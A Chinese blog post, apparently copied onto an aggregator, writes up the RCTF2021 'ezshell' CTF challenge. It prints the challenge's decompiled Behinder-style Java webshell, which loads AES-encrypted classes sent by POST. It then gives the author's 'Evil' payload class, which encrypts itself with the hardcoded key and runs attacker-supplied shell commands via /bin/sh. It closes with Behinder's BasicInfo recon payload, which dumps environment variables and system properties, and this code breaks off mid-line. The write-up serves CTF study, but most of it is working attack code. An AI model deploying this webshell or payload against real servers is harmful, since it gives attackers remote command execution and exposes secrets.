RCTF2021 ezshell

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了RCTF2021 ezshell相关的知识,希望对你有一定的参考价值。

前言

RCTF当时没打,感觉还是错过了学习的机会。今天下午看firebasky师傅的github的时候偶然看到了RCTF的题目,所以打算找个时间把这个比赛的Web复现一下。就没有把所有的web题目都放一篇文章上,因为最近各种事情还有复习,复现题目也是断断续续了,可能接下来会过个好几天才继续看下一题,时间间隔拉的太久,而且每道题学到的东西也比较多,写的相对来说也比较详细,就单独拉出来成一篇文章了。

Writeup

Misc里面的一道Web,get访问/shell之后可以得到源码反编译之后审计一下:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Method;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import sun.misc.BASE64Decoder;

@WebServlet("/shell")
public class shellbx extends HttpServlet 
    public shellbx() 
    

    protected void service(HttpServletRequest request, HttpServletResponse response) 
        try 
            String k;
            if (request.getMethod().equals("POST")) 
                response.getWriter().write("post");
                k = "e45e329feb5d925b";
                HttpSession session = request.getSession();
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                byte[] evilClassBytes = (new BASE64Decoder()).decodeBuffer(request.getReader().readLine());

                class U extends ClassLoader 
                    U(ClassLoader c) 
                        super(c);
                    

                    public Class g(byte[] b) 
                        return super.defineClass(b, 0, b.length);
                    
                

                Class evilClass = (new U(this.getClass().getClassLoader())).g(c.doFinal(evilClassBytes));
                Object a = evilClass.newInstance();
                Method b = evilClass.getMethod("e", Object.class, Object.class);
                b.invoke(a, request, response);
             else 
                k = "ROOT.war";
                String path = System.getProperty("user.dir") + File.separator + ".." + File.separator + "webapps" + File.separator + k;
                File file = new File(path);
                String filename = file.getName();
                BufferedInputStream fis = new BufferedInputStream(new FileInputStream(path));
                byte[] buffer = new byte[fis.available()];
                fis.read(buffer);
                fis.close();
                response.reset();
                response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.getBytes()));
                response.addHeader("Content-Length", "" + file.length());
                BufferedOutputStream toClient = new BufferedOutputStream(response.getOutputStream());
                response.setContentType("application/octet-stream");
                toClient.write(buffer);
                toClient.flush();
                toClient.close();
            
         catch (Exception var10) 
        

    


很明显的类似冰蝎那个jsp马,但是连不上,查了一下说是因为冰蝎还存在密钥协商的过程。

不过代码的逻辑还是很容易理解的,就是post传过去一个先经过AES加密再经过Base64加密的一个恶意类的字节码,然后调用这个类的e()方法。

所以就写这么个恶意类,然后产生payload:

package com.feng.test;

import javassist.ClassPool;
import javassist.CtClass;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.util.Base64;

public class Evil 
    public static void main(String[] args) throws Exception
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("com.feng.test.Evil");
        byte[] code = clazzz.toBytecode();
        String k = "e45e329feb5d925b";
        Cipher c = Cipher.getInstance("AES");
        c.init(1, new SecretKeySpec(k.getBytes(), "AES"));
        byte[] bytes = c.doFinal(code);
        String str = new String(Base64.getEncoder().encode(bytes));
        System.out.println(str);
    
    //HttpServletRequest request, HttpServletResponse response
    public void e(Object req,Object resp) throws Exception
        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) resp;
        String[] cmd = "/bin/sh","-c",request.getParameter("cmd");
        //String[] cmd = "cmd","/c",request.getParameter("cmd");
        Process inProcess = (Process) Runtime.getRuntime().exec(cmd);


        InputStream in = inProcess.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(in));
        String line;

        byte[] bcache = new byte[1024];
        int readSize = 0;
        try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream())
            while ((readSize =in.read(bcache))!=-1)
                outputStream.write(bcache,0,readSize);
            
            response.getWriter().println(outputStream.toString());
            //System.out.println(outputStream.toString());
        
    


然后我本地打通了复现的docker那边死活没回显:

看了一下各种writeup,才看到好像题目的环境是不出网,过滤了内存马和命令执行,还给了个提示:冰蝎basicinfo。

这个basicinfo是啥,咱也不知道,咱也不敢问,把冰蝎的那个jar包解压缩然后拿IDEA打开,查找一下basicinfo,找到了net/rebeyond/behinder/payload/java/BasicInfo.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package net.rebeyond.behinder.payload.java;

import java.io.File;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
import java.util.Map.Entry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class BasicInfo 
    public static String whatever;
    private Object Request;
    private Object Response;
    private Object Session;

    public BasicInfo() 
    

    public boolean equals(Object obj) 
        String result = "";
        boolean var22 = false;

        Object so;
        Method write;
        label132: 
            try 
                var22 = true;
                this.fillContext(obj);
                StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
                Map<String, String> env = System.getenv();
                Iterator var5 = env.keySet().iterator();

                while(var5.hasNext()) 
                    String name = (String)var5.next();
                    basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
                

                basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
                Properties props = System.getProperties();
                Set<Entry<Object, Object>> entrySet = props.entrySet();
                Iterator var7 = entrySet.iterator();

                while(var7.hasNext()) 
                    Entry<Object, Object> entry = (Entry)var7.next();
                    basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
                

                String currentPath = (new File("")).getAbsolutePath();
                String driveList = "";
                File[] roots = File.listRoots();
                File[] var10 = roots;
                int var11 = roots.length;

                for(int var12 = 0; var12 < var11; ++var12) 
                    File f = var10[var12];
                    driveList = driveList + f.getPath() + ";";
                

                String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
                Map<String, String> entity = new HashMap();
                entity.put("basicInfo", basicInfo.toString());
                entity.put("currentPath", currentPath);
                entity.put("driveList", driveList);
                entity.put("osInfo", osInfo);
                entity.put("arch", System.getProperty("os.arch"));
                result = this.buildJson(entity, true);
                var22 = false;
                break label132;
             catch (Exception var26) 
                var22 = false;
             finally 
                if (var22) 
                    try 
                        Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                        Method write = so.getClass().getMethod("write", byte[].class);
                        write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));
                        so.getClass().getMethod("flush").invoke(so);
                        so.getClass().getMethod("close").invoke(so);
                     catch (Exception var23) 
                    

                
            

            try 
                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                write = so.getClass().getMethod("write", byte[].class);
                write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));
                so.getClass().getMethod("flush").invoke(so);
                so.getClass().getMethod("close").invoke(so以上是关于RCTF2021 ezshell的主要内容,如果未能解决你的问题,请参考以下文章

RCTF2021 EasyPHP

RCTF2021 EasyPHP

刷题记录:[RCTF 2019]Nextphp

RCTF2015 PWN400 分析

[RCTF2015]EasySQL

RCTF 2018线上赛 writeup